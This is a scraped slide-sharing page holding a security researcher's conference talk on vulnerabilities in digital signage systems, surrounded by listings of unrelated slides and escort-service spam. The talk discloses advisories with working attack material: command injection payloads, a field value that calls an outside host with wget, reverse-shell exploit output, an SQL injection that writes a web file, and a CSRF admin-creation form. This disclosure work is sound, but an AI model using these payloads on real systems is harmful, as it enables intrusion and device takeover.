Webinar: Extend The Power of The ForgeRock Identity Platform Through Scripting
Webinar: Extend The Power of The ForgeRock Identity Platform Through ScriptingWebinar: Extend The Power of The ForgeRock Identity Platform Through Scripting
Webinar: Extend The Power of The ForgeRock Identity Platform Through Scripting
 
OSMC 2021 | ITSM by Asterix and friends
OSMC 2021 | ITSM by Asterix and friendsOSMC 2021 | ITSM by Asterix and friends
OSMC 2021 | ITSM by Asterix and friends
 
The Boring Security Talk
The Boring Security TalkThe Boring Security Talk
The Boring Security Talk
 
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf
 
oracleeventshunting-190909105308.pdf
oracleeventshunting-190909105308.pdforacleeventshunting-190909105308.pdf
oracleeventshunting-190909105308.pdf
 
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...
 
Oracle events hunting [POUG19]
Oracle events hunting [POUG19]Oracle events hunting [POUG19]
Oracle events hunting [POUG19]
 
Hitbkl 2012
Hitbkl 2012Hitbkl 2012
Hitbkl 2012
 
Drupal Camp Bristol 2017 - Website insecurity
Drupal Camp Bristol 2017 - Website insecurityDrupal Camp Bristol 2017 - Website insecurity
Drupal Camp Bristol 2017 - Website insecurity
 

More from Zero Science Lab

Broadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio StationsBroadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio StationsZero Science Lab
 
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...Zero Science Lab
 
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...Zero Science Lab
 
I Own Your Building (Management System)
I Own Your Building (Management System)I Own Your Building (Management System)
I Own Your Building (Management System)Zero Science Lab
 
Анализа на оддалечена експлоатациjа во Linux кернел
Анализа на оддалечена експлоатациjа во Linux кернелАнализа на оддалечена експлоатациjа во Linux кернел
Анализа на оддалечена експлоатациjа во Linux кернелZero Science Lab
 
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...Zero Science Lab
 
Exploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systemsExploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systemsZero Science Lab
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebZero Science Lab
 
CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2Zero Science Lab
 
CloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurityCloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurityZero Science Lab
 
Преоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPTПреоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPTZero Science Lab
 
Преоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијатаПреоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијатаZero Science Lab
 
Vulnerability Discovery (MK)
Vulnerability Discovery (MK)Vulnerability Discovery (MK)
Vulnerability Discovery (MK)Zero Science Lab
 
The Metasploit Framework (MK)
The Metasploit Framework (MK)The Metasploit Framework (MK)
The Metasploit Framework (MK)Zero Science Lab
 
IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)Zero Science Lab
 
Информациско безбедносна проценка на веб апликации (изучување на случај)
Информациско безбедносна проценка на веб апликации (изучување на случај)Информациско безбедносна проценка на веб апликации (изучување на случај)
Информациско безбедносна проценка на веб апликации (изучување на случај)Zero Science Lab
 
Grsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical ApplicationGrsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical ApplicationZero Science Lab
 
Information Gathering With Google
Information Gathering With GoogleInformation Gathering With Google
Information Gathering With GoogleZero Science Lab
 

More from Zero Science Lab (20)

Broadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio StationsBroadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio Stations
 
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
 
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...
Пенетрациско тестирање на биометриски систем за контрола на пристап - Кратка ...
 
I Own Your Building (Management System)
I Own Your Building (Management System)I Own Your Building (Management System)
I Own Your Building (Management System)
 
Анализа на оддалечена експлоатациjа во Linux кернел
Анализа на оддалечена експлоатациjа во Linux кернелАнализа на оддалечена експлоатациjа во Linux кернел
Анализа на оддалечена експлоатациjа во Linux кернел
 
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...
Изучување на случај: Иницијална безбедносна анализа на изворен код кај систем...
 
Exploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systemsExploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systems
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The Web
 
CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2
 
CloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurityCloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurity
 
Преоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPTПреоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPT
 
Преоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијатаПреоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијата
 
Vulnerability Discovery (MK)
Vulnerability Discovery (MK)Vulnerability Discovery (MK)
Vulnerability Discovery (MK)
 
M3t4splo1t
M3t4splo1tM3t4splo1t
M3t4splo1t
 
The Metasploit Framework (MK)
The Metasploit Framework (MK)The Metasploit Framework (MK)
The Metasploit Framework (MK)
 
IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)
 
OWASP Bulgaria
OWASP BulgariaOWASP Bulgaria
OWASP Bulgaria
 
Информациско безбедносна проценка на веб апликации (изучување на случај)
Информациско безбедносна проценка на веб апликации (изучување на случај)Информациско безбедносна проценка на веб апликации (изучување на случај)
Информациско безбедносна проценка на веб апликации (изучување на случај)
 
Grsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical ApplicationGrsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical Application
 
Information Gathering With Google
Information Gathering With GoogleInformation Gathering With Google
Information Gathering With Google
 

Recently uploaded

Motivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfMotivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfakankshagupta7348026
 
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Salam Al-Karadaghi
 
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...NETWAYS
 
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyCall Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyPooja Nehwal
 
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfCTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfhenrik385807
 
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...NETWAYS
 
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxFamilyWorshipCenterD
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Kayode Fayemi
 
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Hasting Chen
 
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...henrik385807
 
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...Sheetaleventcompany
 
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Pooja Nehwal
 
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxMohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxmohammadalnahdi22
 
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024eCommerce Institute
 
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara Services
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara ServicesVVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara Services
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara ServicesPooja Nehwal
 
Philippine History cavite Mutiny Report.ppt
Philippine History cavite Mutiny Report.pptPhilippine History cavite Mutiny Report.ppt
Philippine History cavite Mutiny Report.pptssuser319dad
 
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxNikitaBankoti2
 
Microsoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AIMicrosoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AITatiana Gurgel
 
George Lever - eCommerce Day Chile 2024
George Lever -  eCommerce Day Chile 2024George Lever -  eCommerce Day Chile 2024
George Lever - eCommerce Day Chile 2024eCommerce Institute
 

Recently uploaded (20)

Motivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdfMotivation and Theory Maslow and Murray pdf
Motivation and Theory Maslow and Murray pdf
 
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
Exploring protein-protein interactions by Weak Affinity Chromatography (WAC) ...
 
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
Open Source Camp Kubernetes 2024 | Running WebAssembly on Kubernetes by Alex ...
 
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night EnjoyCall Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
Call Girl Number in Khar Mumbai📲 9892124323 💞 Full Night Enjoy
 
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdfCTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
CTAC 2024 Valencia - Henrik Hanke - Reduce to the max - slideshare.pdf
 
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
Open Source Camp Kubernetes 2024 | Monitoring Kubernetes With Icinga by Eric ...
 
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Vaishnavi 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Vaishnavi 🤌 8250192130 🚀 Vip Call Girls Kolkata
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
 
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
Governance and Nation-Building in Nigeria: Some Reflections on Options for Po...
 
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
Re-membering the Bard: Revisiting The Compleat Wrks of Wllm Shkspr (Abridged)...
 
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...
CTAC 2024 Valencia - Sven Zoelle - Most Crucial Invest to Digitalisation_slid...
 
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...
No Advance 8868886958 Chandigarh Call Girls , Indian Call Girls For Full Nigh...
 
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
Navi Mumbai Call Girls Service Pooja 9892124323 Real Russian Girls Looking Mo...
 
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptxMohammad_Alnahdi_Oral_Presentation_Assignment.pptx
Mohammad_Alnahdi_Oral_Presentation_Assignment.pptx
 
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
Andrés Ramírez Gossler, Facundo Schinnea - eCommerce Day Chile 2024
 
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara Services
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara ServicesVVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara Services
VVIP Call Girls Nalasopara : 9892124323, Call Girls in Nalasopara Services
 
Philippine History cavite Mutiny Report.ppt
Philippine History cavite Mutiny Report.pptPhilippine History cavite Mutiny Report.ppt
Philippine History cavite Mutiny Report.ppt
 
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docxANCHORING SCRIPT FOR A CULTURAL EVENT.docx
ANCHORING SCRIPT FOR A CULTURAL EVENT.docx
 
Microsoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AIMicrosoft Copilot AI for Everyone - created by AI
Microsoft Copilot AI for Everyone - created by AI
 
George Lever - eCommerce Day Chile 2024
George Lever -  eCommerce Day Chile 2024George Lever -  eCommerce Day Chile 2024
George Lever - eCommerce Day Chile 2024
 

Digital Signage Systems - The Modern Hacker's Outreach

  • 2. Gjoko Krstic ▪ From Kumanovo, MK ▪ Information security engineer ▪ Founder – Zero Science Lab ▪ Member of g00g00tka, ICTTF ▪ CTF developer ▪ Ping-Pong amateur
  • 3. 2019 ▪ Building Management Systems ▪ Thermal & Traffic Cameras ▪ Biometric Access Control ▪ ISP Provisioning ▪ Home Automation 2020 ▪ Digital Signage ▪ Media Servers / Players ▪ Encoders / Modulators Path of challenges
  • 4. Topics ▪ Introduction ▪ Applications ▪ Public incidents ▪ Common attack vectors ▪ Outreach ▪ Intermission
  • 5. Signage systems are visually oriented information systems, consisting of signs, maps, arrows, color-codings systems, pictograms and different typographic elements.
  • 6. The use of digital technology to publicly display content and messages is known as digital signage.
  • 7. Wayfinding (or way-finding) encompasses all the ways in which people (and animals) orient themselves in physical space and navigate from place to place.
  • 8. Digital Signage can be used both indoors in places such as malls, restaurants, office lobbies, movie theatres, airports, etc., and outdoors - sports stadiums, railway and bus terminals, and billboards. Applications
  • 9.
  • 10.
  • 11.
  • 12. DS diagram Content Admin Internet CMS Server Signage Player Display
  • 13. Public incidents ▪ Hijacking the Outdoor Digital Billboard - By Defcon 16 hacking panel (2013) ▪ Alabama digital billboard hack targets Florida senator Marco Rubio (2016) ▪ Cyberattack claims multiple airports in Vietnam (2016) ▪ A hack with a friendly warning in Liverpool (2017) ▪ Hacked digital signage displays porn in Union Station (2017) ▪ Bristol Airport’s flight information display system (2018) ▪ Pornhub on Yagan Square (2018) ▪ Ironman cyclists included in digital sign hack in North Carolina (2018) ▪ Critical vulnerabilities in digital signage system could allow access to attackers through default passwords (2019)
  • 14. Hijacking the Outdoor Digital Billboard - By Defcon 16 hacking panel (2013)
  • 15. Alabama digital billboard hack targets Florida senator Marco Rubio (2016)
  • 16. Cyberattack claims multiple airports in Vietnam (2016)
  • 17. A hack with a friendly warning in Liverpool (2017)
  • 18. Hacked digital signage displays porn in Union Station (2017)
  • 19. Bristol Airport’s flight information display system (2018)
  • 20. Pornhub on Yagan Square (2018)
  • 21. Ironman cyclists included in digital sign hack in North Carolina (2018)
  • 22. Critical vulnerabilities in digital signage system could allow access to attackers through default passwords (2019)
  • 23. Who wants to hack a billboard?
  • 24. Common attack vectors ▪ Exposed management interface ▪ Known vulnerabilities ▪ Default and hard-coded credentials ▪ Lack of authentication and authorization ▪ Lack of encryption ▪ Misconfiguration ▪ Social engineering
  • 25.
  • 26. Case #1 – Cayin SMP Cayin Signage Media Player 3.0 Root Remote Command Injection (ZSL-2020-5569) $ ./cayin.py 192.168.1.2 id uid=0(root) gid=65534(guest) # start sshd $ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd $ $ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'" tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::22 :::* LISTEN $ ./cayin.py 192.168.1.2 "cat /etc/passwd" root:x:0:0:root:/root:/bin/bash vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin sshd:x:1000:0::/dev/null:/sbin/nologin $
  • 27. Case #2 – Cayin CMS Cayin Content Management Server 11.0 Root Remote Command Injection (ZSL-2020-5570) POST /cgi-bin/system.cgi HTTP/1.1 Host: 192.168.1.3 Content-Length: 201 save_system: 1 system_date: 2020/5/16 06:36:48 TIMEZONE: 49 NTP_Service: 1 NTP_Server_IP: $(wget -q -U 'MyVoiceIsMyPassportVerifyMe' vrfy.zeroscience.mk) TEST_NTP: 測試 reboot1: 1 reboot_sel1: 4 reboot_sel2: 1 reboot_sel3: 1 font_list: ZH_TW Request recorder @ ZSL: ----------------------- Origin of HTTP request: 192.168.1.3:61347 HTTP GET request to vrfy.zeroscience.mk: GET / HTTP/1.0 User-Agent: MyVoiceIsMyPassportVerifyMe Host: vrfy.zeroscience.mk Accept: */* Connection: Keep-Alive
  • 28. Case #2 – Cayin CMS Cayin Content Management Server 11.0 Root Remote Command Injection (ZSL-2020-5570) msf5 exploit(linux/http/cayin_cms_ntp) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [+] Cayin CMS install detected [*] Generated command stager: ["printf '17710511410611100000000020301000124200410640000000000064 0400100000001000000002004100200410317000112100'>>/tmp/lSdfj", "printf '70000200015212136613333673431231031231522260146211341315200227133150254203 2711502021134211341152146130120121127211341103315200'>>/tmp/lSdfj", "printf '2053001713111616475150242000130152015252113436131131520020530017127535347262 7271020002113433013531430134314260175315200205300170'>>/tmp/lSdfj", "printf '201332113412312621522603315200205300170237734127010002731000315200'>>/tmp/lSdfj ; chmod +x /tmp/lSdfj ; /tmp/lSdfj ; rm -f /tmp/lSdfj"] [*] Command Stager progress - 25.95% done (199/767 bytes) [*] Command Stager progress - 51.76% done (397/767 bytes) [*] Command Stager progress - 77.84% done (597/767 bytes) [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (980808 bytes) to 172.16.215.134 [*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.134:53672) at 2020-06-18 10:17:56 -0500 [*] Command Stager progress - 100.00% done (767/767 bytes) meterpreter > getuid Server username: no-user @ CMS-SE (uid=0, gid=1001, euid=0, egid=1001)
  • 29. Case #2 – Cayin CMS
  • 30. Case #3 – Cayin xPost Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution (ZSL-2020-5571) The GET request: /cayin/wayfinder/wayfinder_meeting_input.jsp?wayfinder_seqid=-251' UNION ALL SELECT 0x1337,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/CayinApps/webapps/thricer.jsp'-- - msf5 exploit(windows/http/cayin_xpost_sql_rce) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Command shell session 2 opened (192.168.37.1:4444 -> 192.168.37.131:52540) at 2020-06-18 10:19:14 -0500 [!] Tried to delete C:/CayinApps/webapps/hq3HvyOcp4x.jsp, unknown result C:CayinAppsTomcat> C:CayinAppsTomcat> whoami whoami nt authoritysystem
  • 31. Case #4 – Plexus anblick http://192.168.2.51:8080/ANBLICK/PantallaLogin?idioma=EN&pagina=https://www.zeroscience.mk Plexus anblick Digital Signage Management 3.1.13 (pagina param) Open Redirect (ZSL-2020-5573)
  • 32. Case #5 – UBICOD Medivision UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin (ZSL-2020-5574) UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass (ZSL-2020-5575) <html> <body> <form action="http://10.0.39.2/query/user/itSet" method="POST"> <input type="hidden" name="aa[_id]" value="157" /> <input type="hidden" name="aa[pass]" value="123456" /> <input type="hidden" name="od[]" value="name" /> <input type="hidden" name="ft[grp]" value="3" /> <input type="hidden" name="ip" value="0" /> <input type="hidden" name="np" value="13" /> <input type="submit" value="Escalada" /> </form> </body> </html>
  • 33. Case #5 – UBICOD Medivision
  • 34. Case #6 – All-Dynamics enlogic:show ▪ CSRF Add Admin ▪ Session Fixation
  • 35. Case #6 – All-Dynamics enlogic:show GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1 Host: localhost:8802 HTTP/1.0 302 Moved Temporarily Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 Content-type: text/html 1. Visiting the following GET request sets the PHP session: 2. Victim is redirected to authorize: HTTP/1.0 401 Authorization Required Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache WWW-Authenticate: Basic realm="enlogic.show server" Content-type: text/html
  • 36. Case #6 – All-Dynamics enlogic:show GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1 Host: localhost:8802 Connection: keep-alive Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 HTTP/1.0 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html 3. Session fixated:
  • 38. Case #7 – QiHang Media ▪ Cookie User Password Disclosure ▪ Cleartext Credentials Disclosure ▪ Unauthenticated Arbitrary File Deletion ▪ Arbitrary File Disclosure Vulnerability ▪ Unauthenticated Remote Code Execution
